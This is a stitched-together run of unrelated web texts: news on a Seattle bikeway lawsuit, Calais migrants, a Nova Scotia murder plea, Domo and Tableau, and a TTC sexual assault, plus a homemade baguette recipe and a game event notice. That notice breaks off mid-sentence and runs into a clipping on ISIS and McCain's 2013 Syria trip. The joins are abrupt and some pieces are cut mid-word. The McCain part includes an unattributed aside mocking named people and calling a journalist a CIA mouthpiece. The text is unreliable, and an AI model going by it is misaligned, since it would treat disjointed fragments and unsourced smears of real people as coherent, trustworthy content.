Shortly after the Lake Naroch debacle the Russians heeded another call for help, this time from the Italians. The Russian response on this occasion however was markedly more effective: the Brusilov Offensive.For more than a year, a group of Westlake residents, business owners, industry leaders and community members — including people who walk, bike and drive — have been meeting regularly to work with designers and the city to craft a design plan for a safe Westlake bikeway that considers everyone’s needs.
The meetings and public process were sometimes difficult, with people seeing things very differently. But folks worked through the plans inch by inch and parking stall by parking stall. In the end, nobody got everything they wanted, but that’s exactly how compromise works. You can see their extensive meeting notes here.
So it came as awful news that Nautical Landing, a self-described “superyacht” marina and dealer, has filed a lawsuit anyway, undercutting all that community work and threatening to delay the project for at least a year. Their lawsuit is a slap in the face to Mayor Ed Murray — who helped bring people into the design committee rather than the courts — and to everyone who dedicated their time and energy to this process, which was created because community members made the awesome decision to drop their late 2013 lawsuit against the Bike Master Plan and work things out instead.
The Nautical Landing lawsuit has no legitimate beefs with the project (read the complaint in this PDF). It basically argues that the city has “prejudiced” the superyacht marina by not completing environmental review for 1.2 miles of bike lanes in a city-owned parking lot. It’s just a delay tactic by a company that clearly has the money to burn and would rather just pay to get their way than work it out with everyone else through the community design process.
A trial date has been set for June 2016.
Nautical Landing is going back on the deal established in early 2014: If the city crafts the design details with community input and guidance, they won’t sue. Well, even though the final design is full of compromises and preserves nearly all the parking, they sued anyway. Though a superyacht moored on their docks could be worth as much as $160 million, Nautical Landing’s word apparently isn’t worth anything.
The community design process was a huge success
The biggest concerns people raised during the public outreach phase were about parking. Initial plans showed that most segments would displace between 5 and 35 percent of parking spaces, but a couple could see 50 percent. But after a long, hard process working through different parking lot design changes and squeezing in spaces where possible, final plans will preserve 90 percent of the parking along the corridor, far more spaces than are used today (see this PDF presentation from a recent meeting of the Design Advisory Committee for more details).
The process also identified ways to adjust the parking rules to make sure businesses have a more dependable supply of short-term parking available. Previously, the all-day unlimited parking spots were being used by center city commuters trying to get around paying for a spot at work. By putting time limits on some spots, residential parking permit requirements on others and turning the most in-demand spots into paid spaces, the city has made the lot more focused on Lake Union Park, residential and business access.
Preserving parking was not this blog’s priority, but it was important to other community members and I am happy that people were able to get together and work it out. What started as a tense public fight (with lawsuits starting to fly) developed into a community design for a better Westlake for everyone. This is how our city should work.
According to a recent presentation to the Design Advisory Committee, here are some other ways the community guided the design:
Clearly marked, formal pedestrian crossings
Maximized parking with smaller stalls, angled parking and one-way circulation
Add speed humps and stop signs to calm parking area and discourage bicycle use
Improve ADA accessibility from parking area to businesses
Improve mixing zone at north end
Preserve Railroad Park
Add signal at Driveway 2
And, finally the design process also got the city to commit to reviews of how the design is working one month, six months and one year after construction. So if there are problems, the city will go back and make adjustments.
Drop this lawsuit
Nautical Landing should drop their lawsuit. I’m not sure what battle they think they’re fighting, but they had all the chances in the world to get involved with this project and guide the design with everyone else.
You shouldn’t get to just pull out your pocket book and pay to silence everyone else. We have a funded and community-led design for a better Westlake that is shovel-ready, with construction scheduled to start in the fall. If all goes through on schedule Westlake will be a safer, more active and more positive place for everyone by next spring.
If Nautical Landing succeeds in delaying construction and putting grant money earmarked for this project at risk, their selfishness will hurt their community and their city. If Nautical Landing wants to be a good neighbor, they must drop this lawsuit.
Here are the people who dedicated their time to help craft the design. Whether you bike, live or work on Westlake, we all owe them a big thank you:
UPDATE: I heard back from SDOT Spokesperson Rick Sheridan about the case. Unfortunately, he could only say, “As a matter of policy, the City does not comment on ongoing legal actions.”
UPDATE x2: Cascade Bicycle Club says in a press release they are “disappointed” in the lawsuit: “Nautical Landings’ lawsuit puts grant funding for this project at risk, delays the hard work of the DAC at achieving compromise and delays necessary safety improvements for the thousands of people who want to safely bike downtown.”The growing migrant crisis in Calais needs British troops to help bring order to the Channel port, French police have warned. Bruno Noel, head of the Alliance union for police deployed to the French port and Eurotunnel site, said the situation could soon become unmanageable as numbers of migrants continue to swell.
According to the Daily Express, Noel said his force is “doing Britain’s dirty work” and called for British reinforcements. “We have only 15 permanent French border police at the Eurotunnel site,” he said. “Can you imagine how derisory this is given the situation?
“So I say, why not bring in the British Army, and let them work together with the French?” he said.
The call to use British troops was first made by Kevin Hurley, Police and Crime Commissioner for Surrey, who proposed “sending in the Gurkhas”. Hurley said the 700-strong 2nd Battalion of the Royal Gurkha Rifles based just outside Hythe, Kent, should be deployed.
“The Gurkhas are a highly respected and competent force, and are just around the corner. They could help to ensure that our border is not breached.”
UKIP leader Nigel Farage also called for for British military assistance on LBC radio last month.
Mr Noel’s remarks come after Abdul Rahman Haroun, a Sudanese migrant, dodged hundreds of security cameras and speeding trains to walk 31 miles in the Channel Tunnel to Folkestone, before British police arrested him just short of the exit.
Last Tuesday’s security breach came on the same night that migrants made about 600 attempts to enter the Channel Tunnel. About 180 people were caught inside the site, with 20 arrested.
The migrant crisis in Calais has escalated recently with around 3,000 migrants believed to have massed in camps there.
Many have taken increasingly dangerous risks to dodge security and get into the UK and nine people have been killed in their attempts.
Las month Nigel Farage cautioned that more people were needed to check lorries to stop people illegally entering Britain, calling the situation around Calais, “virtually lawless”. He believes the only solution to the migrant crisis is to call for troops.
“In all civil emergencies like this we have an army, we have a bit of a Territorial Army as well and we have a very, very overburdened police force and border agency.”
Farage continued: “If in a crisis to make sure we’ve actually got the manpower to check lorries coming in, to stop people illegally coming to Britain, if in those circumstances we can use the army or other forces then why not.”A broken pipe at Paulsboro High School caused the school's computer network to go down and an emergency asbestos cleanup to be ordered, according to school administration.
A hot water pipe broke in the computer network room at the school Tuesday night, leaving a few inches of water on the ground and turning the room into a "steam bath," Superintendent Walter Quint said, possibly destroying the resources there.
Commercial dehumidifiers have been placed in the room to potentially salvage the computers.
A bigger problem, however, is that the floor tiles, which are 50 years old and made of asbestos, began popping off the floor.
"This evening we are going to do a legal removal of the floor tile," Quint said Wednesday evening. "It should all be done before the students arrive tomorrow."
Contractors will be removing all of the potentially dangerous product and monitoring the air throughout the night Wednesday to ensure no danger is there for students.
"It is safe. We are doing everything the right way. We would never put anybody in jeopardy," Quint added.
In the meantime, the high school's entire computer network is down until its resources are dried out and evaluated.
Rebecca Forand may be reached at rforand@southjerseymedia.com. Follow her on Twitter @RebeccaForand. Find the South Jersey Times on FacebookKENTVILLE, N.S. — Two Nova Scotia men who poured gas on a homeless man and set him on fire while he was inside a bus shelter pleaded guilty Monday to second-degree murder. Daniel Wayne Surette and Kyle David James Fredericks were charged in April 2014 with first-degree murder in Harley Lawrence's death.
Harley Lawrence was found dead in a burned-out bus shelter in Berwick, Nova Scotia. ( Facebook ) Daniel Wayne Surette, who set a homeless man on fire, has been bothered by his actions, his lawyer says. ( Andrew Vaughan / THE CANADIAN PRESS file photo ) Kyle David James Fredericks is one of two men who poured gas on a homeless man and set him on fire with a lighter while he was sleeping. ( Andrew Vaughan / THE CANADIAN PRESS file photo )
Lawrence, 62, was found in a burned out bus shelter on Oct. 23, 2013, in Berwick, a small town about 120 kilometres northwest of Halifax. A preliminary hearing for Surette and Fredericks began earlier this month but their defence lawyers agreed Monday to proceed with a trial in Nova Scotia Supreme Court in Kentville, where they pleaded guilty to second-degree murder with the Crown's consent. An agreed statement of facts says Surette and Fredericks poured gas on Lawrence and set him on fire with a lighter while he was sleeping inside the bus shelter.
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“I hope the family can get closure from this,” Surette said as he was led out of court and remanded into custody. Ron Lawrence, the victim's brother, said their pleas give him little comfort. “It shows a sense of guilt and closure on their behalf knowing that they accept responsibility,” he said outside court. “But it still doesn't change nothing.” Surette's lawyer said his client has been bothered by his actions and the Crown agreed that they weren't planned and deliberate.
“I think it was a question of getting a resolution that fit what he did,” Ken Greer said. “It wasn't a first-degree murder. It was a second-degree murder and once the Crown was able to move off of first-degree murder, we were able to come to a resolution quickly.” After Lawrence's death, local residents said he was using the bus shelter for refuge as temperatures dipped.
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In the days that followed, a candlelight vigil was held in his memory where the bus shelter stood. A sentencing hearing has been scheduled for April 28.
Read more about:As embattled software company Tableau Software gets its big multi-day conference under way in Austin, it will have to deal with a noisy and gate-crashing Utah unicorn looking to hijack the spotlight -- and bringing Flo Rida and Snoop Dogg with it.
Domo CEO Josh James smells blood in the water at Tableau. With revenue of more than $800 million per year and a market capitalization of about $3 billion, Tableau's still much bigger than Domo. Despite tens of thousands of customers and being called a new "gold standard" for business intelligence in recent years, Tableau's stock is down more than 50% for the year and recently named a new CEO. James' company has raised hundreds of millions at a valuation from private investors of $2 billion, but as a private company, doesn't face the same degree of scrutiny. James has said Domo has billings of $100 million and works with several dozen of the country's largest 500 companies.
The two companies haven't ostensibly competed in the past, with Tableau known for its compelling and easy-to-make visualizations, Domo more of a business dashboard to check various data sources for a business in real time. When Tableau signs up around 300 customers a quarter to $100,000-plus deals, it's not Domo it's competing with, but Microsoft's Power BI product, Qlik and older players like SAS and SAP. But according to James, customers that start working with Domo don't stay Tableau customers for long. "We weren't seeing their deals, but customers inevitably call us and say, oh we don't need to use Tableau anymore. So we thought, maybe we should go after those guys more aggressively," says James. "It felt to me that 90% of Tableau's business is fragile and vulnerable."
What Domo's doing this week during Tableau's conference can certainly be called that. Starting on Monday, the company will post dozens of staff outside Tableau's event space, referring attendees to Domo's own lounge and party space across the street, themed "Escape Tableau hell." On Monday night, Domo's hosting a free event with Flo Rida. On Tuesday it's sponsoring a pub crawl around Austin's famous Sixth Street corridor of bars. And on Wednesday, while Tableau hosts its "Data Night Out" with a group of bands including Misterwives and Walk The Moon, Domo plans to run out Snoop Dogg.
In response to Domo's appearance in Austin, Tableau CMO Elissa Fink had the following statement: “We find it flattering that companies want to crash our conference and we see this kind of thing happen from time to time. We have a customer base that is incredibly passionate about Tableau and hey, we think we throw a heck of a conference! We’re excited about the fun week of events ahead.”
Domo says real business wins are behind the stunt. One of the country's biggest retailers recently replaced 800 Tableau seats with Domo, James says, one of several customers that asked not to be named that FORBES confirmed have made the switch. Domo compiled about 30 such testimonials on the subject, ranging from a medical devices to global telecom equipment, healthcare, tech, professional services, security, mortgage lending and security. Those customers mentioned being able to plug in more data sources using Domo that updated in real time without additional code, while providing a centralized hub for all the reports and visualizations created. Domo was also more flexible in which tool sets it allows users to bring into one report, customers wrote.
Tech veteran Matthew March used Tableau at his previous two companies before he became chief information officer at Colony American Finance, a real estate lender. "The reports looked so beautiful that people assumed they were accurate," March says. "But that wasn't the case." Business intelligence professionals would inevitably end up scrambling, pulling data themselves from a range of places and get things wrong, March says. About a year ago as he set policy at his new company, March chose to implement Domo over Tableau (at 25% of its cost, he says) and Power BI.
For any customers it can sway in upcoming days, Domo packaged up some of the tools those customers were using into a new analyzer tool kit that offers simultaneous previews of visualizations and tables. James says that while the tools are more a feature set than a new product, Domo will remain committed to them for the long term.
But James is also famous in the tech industry for his charisma veering on boastfulness, dating back to his days founding and selling Omniture for $1.8 billion in 2009. Analysts say Domo still has a long way to go to be considered a true competitive threat to a company like Tableau. Crashing your competitor's event is nothing new, says analyst Steve Koenig at Wedbush. But Koenig hasn't seen signs that Domo's a significant competitor to Tableau yet, at least in enterprise or mid-market companies. A recent survey by Robert W. Baird & Co. found just 1 of 17 channel partners mentioning Domo as becoming more competitive, compared to zero in the survey a quarter before, notes senior research analyst Steve Ashley.
"Domo has long been known as a rising competitor in the analytics/BI/visualization space, but one that appears to still be more hype than substance," writes Stifel managing director Tom Roderick in an email. James has bragged about being opaque about his true business intentions in the past, the analyst notes, and Domo seems to have had its own healthy share of sales turnover over in recent years. Adds Brent Thill from UBS: "Products win customers, not bands."
Despite the skepticism, Roderick at least says he plans to go see Domo's demo in Austin -- and maybe even check out the Flo Rida concert. And that's precisely what James wants. The CEO says he's fine with some attendees or watchers seeing the move as a stunt, though he says it's one that's "well calculated." Domo only needs to snag three or four large customers in Austin for the concerts and marketing to pay for itself.
"Will it be comfortable to everyone at Tableau when we do this? No," James said in an interview on Friday. "But that's what competition is all about. Part of the sport is, it's a zero sum game."Mari-Anne Ramson was revolted by the sight of her winter jacket; so much so she threw it out.
Her coat was a constant reminder of a "disgusting and really upsetting" incident on the TTC.
In March 2013, Ramson was travelling during afternoon rush hour to Davisville station when a man "shoved his way" on to the subway car. She thought little of it at the time. He later shoved his way off the car.
It was hot on the car so Ramson had removed her coat but when she went to put it on at Davisville, she discovered the man had masturbated and ejaculated onto her coat.
"It was pretty disgusting and really upsetting and made me incredibly angry," she told Metro Morning.
She immediately told a TTC employee, who asked if she was OK and apologized for the incident, she said.
The employee asked if Ramson got a good look at the man but Ramson didn't, she said — she didn't think anything of his presence.
I felt so dirty every time I looked at [the coat.] - Mari-Anne Ramson
"I didn't get a good enough look at him to file a report," she said. "That's the only reason I didn't file the report."
"I wasn't physically hurt so I also thought maybe it would be minimized," she said. "I viewed it slightly differently myself."
Ramson said she regrets not filing a police report.
"I do sort of regret not going at the time," she said.
She drycleaned her jacket but ultimately, threw it out, she said.
"I was so upset and angry by what had happened that at the point, I just wanted to get rid of my coat."
"I felt so dirty every time I looked at it."
'Fear is always a big challenge'
There were 56 sexual assaults reported on the subway system in 2015, according to data obtained by Radio-Canada. The figure represents a 16 per cent decline from 2014 but as Toronto police note, sexual assaults are vastly under-reported.
"I'm angry that a creep like that would use our subway system to victimize people," said Det.-Sgt. Joanne Rudnick of the Sex Crimes Unit.
"I certainly don't blame victims. I certainly don't blame anyone for not wanting to report at the time or later because it's a very difficult thing to do. It's a difficult step to make."
Rudnick said there are several reasons why a victim may choose not to report, including whether police will believe the victim, the possibility of being identified or attacked by the perpetrator again.
"Fear is always a big challenge in getting people to come forward," Rudnick told Metro Morning.
"What are their parents going to say? What are friends going to say? Perhaps, they're a newcomer to the country and don't understand the laws of the land. I understand those reasons," she said.
Rudnick said police are working alongside the TTC on a sexual assault awareness campaign for the spring, along with app that will help riders report sex crimes.
"We have to work more with our partners so that we make a culture where it is easier for victims to come forward; that they do not perceive these barriers in reporting to the police."
'At least it was me'
Ramson said following the incident, she prefers to walk and dislikes taking the subway during rush hour.
"I'm very aggressively aware when I ride the subway," she said.
She said she finds "comfort" in that it happened to her and not a younger person, saying she feels "emotionally capable of managing it a little bit better."
"There's lots of teenagers who get on the subway on the Yonge line and it could've been a younger girl," she said.
"If it had been me when I was a teenager, I would've been devastated."
"It's terrible that it happened to me but at least it was me and not someone younger."Guest Post: Homemade French Baguettes
After bragging about my girlfriend Paula’s love of baking bread for months now, I have finally convinced her to write a guest blog post! Baguettes seemed like the obvious first choice, since they were the first type of bread that she ever made outside of her bread machine (which we’ve since given away to a friend!). She’s baked her way through several different baguette recipes by now, finally settling on a two-day fermented dough recipe from The Bread Baker’s Apprentice by Peter Reinhart.
Here is Paula’s guest post about her journey into bread-baking:
The seed was planted when we visited Paris and noticed so many French people walking around carrying fresh baguettes. We decided to go to a neighborhood farmer’s market and buy some bread and cheese for a picnic.
That trip was a year ago. In the months after our European adventure, we would buy par-baked baguettes from Trader Joe’s or fresh baked baguettes from the grocery store. I thought about making baguettes from scratch, but the idea was intimidating for several reasons.
I had a breadmaker that I would use occasionally. It was no fuss, no muss; I would just add the ingredients and the machine would do the rest. I had The Bread Machine Cookbook by Beth Hersberger, and included among the hundreds of recipes were instructions for French bread. Unfortunately, back then I was too lazy to want to take the dough out of the machine to shape it, so I never tried. I also simply hated kneading dough. (When I was a child, I would be recruited to help my mother make tortillas, and kneading a huge bowl of tortilla dough was tough work. Such tough work that 25 years later, I was still against the idea of kneading.)
It wasn’t until the girlfriend surprised me with a baguette pan for Christmas that I warmed to the idea of making baguettes. I referred back to my bread machine cookbook, but I decided I wanted to make baguettes from scratch. So I started to do a little research.
I read blogs, watched Youtube videos, searched on Reddit. When I settled on a Youtube video that I liked, I watched it in its entirety before assembling the ingredients. This was on New Year’s Eve, and we were expecting a few people over for a party. I chose a video that featured a chef from a culinary institute in Colorado. In the three-part video, he details ingredients, shows how he mixes and kneads, how long a rise should take, and how he shapes the baguettes for baking. It was an extraordinary video and I was pumped.
I followed all the instructions exactly, even though the first comment on Youtube read “Did he say 4 TABLESPOONS of salt?? I think he probably meant 4 TEASPOONS.” I should have paid more attention to that comment. My baguettes rose nicely after kneading– which was really not that horrible– and looked amazing after baking, but tasted like a salt lick. My girlfriend and I tried a few bites, and the first taste was great, but the aftertaste was unacceptably salty. We did not eat fresh baguettes that night, and I didn’t refer back to that video again.
I kept reading blogs and settled on A Sweet Pea Chef’s French baguette recipe. It was this recipe that made me gain confidence in my baking skills. The first time I made it, it was such a success that I started making it nearly every weekend. Of course, the girlfriend and I cannot eat three whole baguettes every week, so they became presents. I brought them to work, I brought them to game nights, I would give a loaf away if I saw a random friend.
After a while my recipe evolved; I no longer referred to A Sweet Pea Chef’s blog. I stopped putting sugar in the recipe. It became very simple: 4 cups flour, 1 teaspoon salt, 1 teaspoon yeast, and 1.5 cups water. Short, sweet, and to the point. It was then that I decided I wanted to branch out and try other bread recipes. I tried making focaccia, which was almost exactly the same as my baguette recipe, except I added rosemary and olive oil. I tried making challah from Smitten Kitchen, pita bread from a combination of recipes, and finally pizza dough from My Fancy Pantry. All were successful and my confidence was growing.
In fact, I started day-dreaming about quitting everything to go find a job as a baker. I still kind of want to do this, but I know that nursing will be more lucrative (I also want to go into oncology nursing for personal reasons). So baking as a hobby will have to suffice for now.
Finally after reading about it on numerous blogs, I decided to level up, as they say in the D&D world, and purchase The Bread Baker’s Apprentice by Peter Reinhart. The recipes were more complex than what I was used to; there were recipes for poolish, biga, and pâte fermentée (or pre-ferment). Even the terminology was different. I was a little intimidated. Many of the breads required a two-day commitment, when I was used to setting aside just an afternoon for baking bread. I decided to start with something that I was already very comfortable with: the French baguette.
The recipe requires pâte fermentée, which means assembling roughly half the ingredients for a pre-ferment, storing it in the fridge overnight– or for up to three days– and adding the other half of the ingredients the next day. No sugar is listed in the recipe: Peter Reinhart states that with the pre-ferment, the natural sugars in the flour get released.
The finished product yields a baguette that looks pretty, though not as dark as the burnt golden sugar color of Peter Reinhart’s baguettes, since my oven only goes up to 500 degrees. But the inside of the bread is incredibly light, and the nooks and crannies larger. The taste makes me think of our too-short time in France. This is a recipe I will keep coming back to. I’ll just have to try out all of the other recipes in Reinhart’s book, too.
Print this recipe.
RECIPE:
Pâte Fermentée (Day 1)
Slightly adapted from The Bread Baker’s Apprentice by Peter Reinhart.
(Makes enough for one French Baguette recipe below)
Ingredients:
~ 1⅛ cup bread flour
~ 1⅛ cup all-purpose flour
~ ¾ tsp. salt
~ ½ tsp. instant yeast
~ ¾ cup water at room temperature, plus ¼ cup room temperature water to possibly add
How to make it:
1. Mix all ingredients together, making sure that the dough is not too sticky or too thick. (Reinhart states that it’s better to err on the sticky side as it’s harder to add water once the dough firms up.)
2. Sprinkle flour on the counter, transfer the dough to the counter, and knead for about 5 minutes, until the dough is soft and pliable.
3. Lightly oil a bowl with olive oil spray and transfer the dough to the bowl. Cover with plastic wrap and ferment at room temperature until the dough swells to about 1.5 times its original size. (This should take about an hour depending on your climate.)
Day 1, pre-rise
4. Knead the dough lightly to de-gas it (you can leave the dough in the bowl for this), cover with plastic wrap, and place in the fridge overnight.
Fermented dough, ready for Day 2
French Baguettes (Day 2)
Slightly adapted from The Bread Baker’s Apprentice by Peter Reinhart.
(Makes 3 medium baguettes)
Ingredients:
~ pâte fermentée (the Day 1 recipe)
~ 1¼ cups all-purpose flour
~ 1¼ cups bread flour
~ ¾ tsp. salt
~ ½ tsp. instant yeast
~ ¾ cup water at room temperature, plus ¼ cup room temperature water to possibly add
Special equipment needed:
~ Baguette pan (if you’re not using a baguette pan, you can use semolina flour or cornmeal for dusting a baking stone or a parchment paper-lined baking sheet)
~ Clean spray bottle filled with cold water
~ Metal cake, pie, casserole, or bread pan to fill with water and place in the oven to create steam
~ (OPTIONAL: Dough scraper)
How to make it:
1. Remove the pâte fermentée from the fridge, cut it into 8-10 small pieces, and set aside for 1 hour to take off the chill.
2. Stir the dry ingredients and the pâte fermentée together in a large 4-quart bowl. Add the water and mix until everything comes together into a coarse ball. Adjust the flour or water so that it’s neither too sticky nor too stiff.
3. Sprinkle flour on the counter, transfer the dough and knead for about 10 minutes, or until the dough is soft and pliable and all of the pre-ferment is evenly distributed. Lightly oil a large bowl– I use olive oil cooking spray, place the dough into the bowl, and cover with plastic wrap. Leave the dough to ferment for 2 hours, or until it doubles in size.
Too many baking projects at once results in a slightly too-risen dough…
4. Once the dough has doubled in size, transfer it carefully to a lightly-floured counter. Cut it into three equal pieces using a dough scraper or a serrated knife. Shape the dough into long torpedoes (I gently roll them, but use whatever technique you like). Place in the baguette pan and lightly cover with plastic wrap or a kitchen towel for another 30-45 minutes (you might want to let them proof for 15 extra minutes if you’re in a cooler climate).
5. Pre-heat the oven to 500 degrees. Prepare a clean spray bottle full of cold water. Pour 1-2 cups of hot water into a metal cake pan, and place in the bottom rack of the oven to create steam.
Risen a little too much, because I was also baking ciabatta!
6. Score baguettes with three slits each using a serrated knife. Place baguettes into the oven and spray the oven walls with water to create steam. Wait 30 seconds, open the oven and spray again, close and wait another 30 seconds, then spray a third time. Slowly count to 30 (“1 alligator, 2 alligator, 3…”) in between the three spritzes of the oven walls. After the third spray, lower the temperature to 450 degrees and bake for 10 minutes. After 10 minutes, rotate the baguette pan 180 degrees and continue baking until golden brown or until the inner temperature of the loaves registers 205 degrees F. This can take anywhere from 10-20 minutes. (Using my small home oven, my baguettes are never the “rich golden brown” that Peter Reinhart describes, but they’re still baked through.)
7. Remove the loaves from the oven and cool on the rack for at least 40 minutes before slicing and serving. Or if you’re anything like the girlfriend and me, wait until there’s only a little chance of being burned before slicing and spreading on some butter, or about 5 minutes. (I take no responsibility for any injuries if you’re like us and can’t wait until the baguettes have cooled!)
A note about storing: we wait until the baguettes have cooled completely, then wrap them in foil and store them on the counter for a couple of days, then in the fridge. Since using Peter Reinhart’s recipe, I’ve found that even after a few days, the stale baguettes are still soft and flavorful, but since there are no preservatives, I would advise that you store them in the fridge. I usually make 3 loaves on Sundays, and by the time the next weekend rolls around, we still have one loaf left for Saturday morning baguette French toast!
Print this recipe!
Related Posts:
> Travel Photos: Crêpes and Picnics in Paris
> Pan Catalán (Tomato Bread Tapas)
> Rhubarb Birthday GaletteIt's that time of the year - the ghosts, specters and spooks rise from their graves and come to haunt the battlefields of Armored Warfare. Get ready for the Halloween event!
To celebrate the bravery of the players who manage to conquer their fear of the unknown and the supernatural, we have prepared four daily tasks that will reward the stalwart defenders of the living with six special permanent decals.
Thursday, 29th of October
Condition: Win three battles
Win three battles Reward: Evil Pumpkin Decal for every vehicle in your garage
Friday, 30th of October
Condition: Win three battles
Win three battles Reward: Frankenstein's Monster for every vehicle in your garage
Saturday, 31st of October
Condition: Win five battles
Win five battles Reward: Two decals for every vehicle in your garage (Bat and Pumpkin with Logo Decal)
Two decals for every vehicle in your garage (Bat and Pumpkin with Logo Decal) Additional bonus: 50 percent extra Reputation and Credits from battles
Sunday, 1st of November
Condition: Win five battles
Win five battles Reward: Two decals for every vehicle in your garage (Ghost Shell and |
les Iraqi and Syrian territory. Ever since General Allen’s appointment in September, he has sought to “help build and sustain the coalition so it can operate across multiple lines of effort in order to degrade and ultimately destroy ISIL.” The coalition of over sixty countries currently contributes in “various capacities...in Iraq, the region, and beyond,” to achieve the stated strategy. How will the coalition sustain the fight against the terrorist group? What role will the United States play as the coalition broadens and deepens its efforts? Can the fight be ultimately won? And if so, how does the coalition define success? To answer these and other questions, General Allen will join Atlantic Council President and CEO Fred Kempe on stage. This event will be on the record and open to press. General John Allen was appointed Sept. 16, 2014 by President Obama. Allen is a retired US Marine four-star General and former Commander of the NATO International Security Assistance Force and US Forces in Afghanistan from July 2011 to February 2013.
Foreign Policy In Focus via Common Dreams, Why ISIS Exists, Adil E. Shamoo, Bonnie Bricker, March 6, 2015. The Middle East is suffering the blowback from rotten U.S. policies, disastrous wars, and cultural turmoil. ISIS and its ilk are one result. ISIS — or the so-called “Islamic State” — is the latest and most horrifying iteration of the modern terror groups that have plagued the region in recent years. With 20,000 to 30,000 combatants and recruits streaming in from all over the globe, the group is unlikely to be significantly degraded by U.S. air strikes — not when political conditions in the Middle East continue to favor it. The media often depicts ISIS recruits as lost souls in search of a cause or suffering from mental illness. That may be true in some cases. But these explanations are not sufficient to explain ISIS’s resilience and recruitment capabilities. No organization, especially a terrorist one, can survive without support. Yes, ISIS has committed unspeakable atrocities. But it’s too easy to forget that the U.S. invasion of Iraq killed some half a million Iraqis by one estimate — most of them civilians — and wounded another million. Looking at the numbers, we can only imagine the thousands of Iraqi children killed by bombs who may have actually been burned alive or smashed by rubble. They died the sort of deaths that inflame Arabs and Muslims around the world. As a nation, the United States likes to tout its moral superiority. Yet the bleak contrast between what Iraqis experienced and America’s self-proclaimed exceptionalism led many Iraqis to join a group that made its own set of promises — ISIS — and the results have been terrifying. Meanwhile, America’s allies in the Middle East aren’t much better.
John McCain Controversy Over 2013 Secret Trip To Syria
P.J. Tatler, U.S.-Backed Free Syrian Army Operating Openly with ISIS, Al-Qaeda’s Jabhat al-Nusra, Patrick Poole, Sept. 3, 2014. As the Obama administration struggles to address the threat from ISIS and plans to go to Congress in the coming weeks to up its commitment against ISIS in Syria and Iraq, multiple media reports indicate that the U.S.-backed Free Syrian Army (FSA) is operating openly with ISIS and other designated terrorist groups. And yet financial and military support for the FSA is the keystone to the administration’s policy in Syria. Some background is essential. It was just over a year ago that the Institute for the Study of War’s Liz O’Bagy was opining in the Wall Street Journal about her travels to Syria and purported discovery that the Syrian “rebels” really weren’t bloodthirsty jihadists, but moderates worthy of U.S. financial and military support — in particular, heavy weapons. Her claims about the Syrian rebels, particularly the FSA, were cited and praised by Secretary of State John Kerry and Senator John McCain. That view, of course, quickly came crashing down as O’Bagy came under fire for failing to disclose that she was also a paid agent of a Syrian rebel front. (She had also lied about her academic credentials.) Within two weeks of her op-ed appearing, she was fired from the Institute for the Study of War, though she was hired two weeks later by Senator McCain as a Senate staffer. Northern Storm front, allied with Al Nusra, merged with ISIL. Those people pictured with McCain and his fake Ph.D. gal pal Liz O'Bagy were either ISIL then or are now. But Glenn Kessler can always be relied upon as a loyal advocacy journalist for Langley, the neocon policy boiler shops in DC, and the Israeli PM's office and embassy in DC. There are no moderate Syrian rebels! Get it? Got it? Good!
Washington Post, Four Pinocchios for Rand Paul’s claim that McCain met with the Islamic State, Glenn Kessler, Sept. 18, 2014. Just because it’s on the Internet, it doesn’t mean it’s true. Yet here’s a U.S. senator, repeating a rumor about one of his GOP colleagues, as if it were an actual fact. Paul cited it as part of his argument that U.S. funding of attacks against the terrorist group Islamic State, also known as ISIS, will be problematic because it “really shows you the quandary of determining who are the moderates and who aren’t.” The Fact Checker takes no position on whether it is necessary to fund the Syrian rebels. But for the benefit of Paul, and others who may have heard this rumor, here’s what didn’t happen. On May 27, 2013, McCain slipped across the Turkish border to spend a few hours in Syria with members of the Free Syrian Army. Mouaz Moustafa, executive director of the Syrian Emergency Task Force, who helped arrange the visit and was with McCain, said many soldiers were members or commanders of the Northern Storm brigade, which serves under the army’s Supreme Military Council. One man was Gen. Salim Idriss, who at the time was chief of staff of the Supreme Military Council. “These guys, the Northern Storm brigade, are bitter enemies of ISIS,” Moustafa said, in part because they were so effective.
Arizona Republic, McCain rips claim he posed for photo with ISIS fighters, Dan Nowicki, Aug. 23, 2014. U.S. Sen. John McCain is one of the most vocal proponents of attacking the terrorist Islamic State of Iraq and Syria, or ISIS, and has increased the urgency since last week's beheading murder of kidnapped journalist James Foley. But McCain, R-Ariz., has come under fire from the left-leaning organization VoteVets.org for allegedly posing for a photo in 2013 with "ISIS fighters," a charge the group has been unable to back up and that McCain calls a fabrication. The photo was taken during a surprise May 2013 trip McCain took to Syria to meet with rebel leaders in the civil war against President Bashar Assad's regime. Then and now, McCain is a passionate advocate for helping the moderate Free Syrian Army, which has been battling both Assad's forces and the extremists. In June, President Barack Obama's administration proposed a $500 million plan to arm and train the moderate Syrian opposition. McCain's photo with the Syrian rebels misidentified as ISIS fighters has caught fire on social-media platforms such as Twitter. It was distributed in a VoteVets fundraising e-mail dated Tuesday, the same day that ISIS released a grisly video documenting Foley's murder. "While he was there (in Syria), he paused for some photos — including some with ISIS militants," VoteVets chairman Jon Soltz, an Iraq War veteran, wrote in the e-mail that featured the photo. "Today, just over a year later, he wants to fight ISIS in Iraq — ostensibly against the weapons he wants to provide them in Syria." McCain's camp pushed back hard, characterizing the VoteVets charge as a lie. And ISIS recently singled out McCain as "the enemy" and a "crusader" in a propaganda magazine. "It is shameful that the liberal group VoteVets would completely fabricate this obviously false smear, but it just shows how far some of President Obama's defenders will go to attack anyone who criticizes his failed foreign policy," McCain spokesman Brian Rogers said. One of the men with McCain is Gen. Salim Idris, who at the time chief of staff of the Free Syrian Army's Supreme Military Council. He was removed from the post in February. Another is Mouaz Moustafa, executive director of the Syrian Emergency Task Force, a Washington, D.C.-based group that encourages U.S. intervention on behalf of the moderate opposition and organized McCain's visit. A third man who had been disputed in the past has since been identified "as one of the brigade commanders for the Free Syrian Army," McCain said. He was with the Northern Storm Brigade, a force affiliated with the Free Syrian Army that has battled ISIS, McCain's office clarified. "It's foolishness," but the false charge "just bangs around the Internet," McCain said. Asked by The Republic for documentation or a source for its claim that the McCain photo included ISIS militants, VoteVets could not provide any evidence, but did pass along an Aug. 18 Washington Post column by Souad Mekhennet that makes the point that some "factions" of the Free Syrian Army have joined ISIS. The column didn't relate to anyone in the McCain photo. "For years, Senator McCain couldn't stop talking about the need to arm Syrian rebels, like the Free Syrian Army, which splintered with many ending up under ISIS," Soltz told The Republic in an e-mailed statement. "When we say he took photos with ISIS fighters, we mean that he took photos with representatives of forces that he supported, many of which later became ISIS. It's frightening to think what ISIS would be today, if John McCain had his way, and if we had sent even more weaponry their way."
Other McCain Foreign Affairs Controversies/Scandals
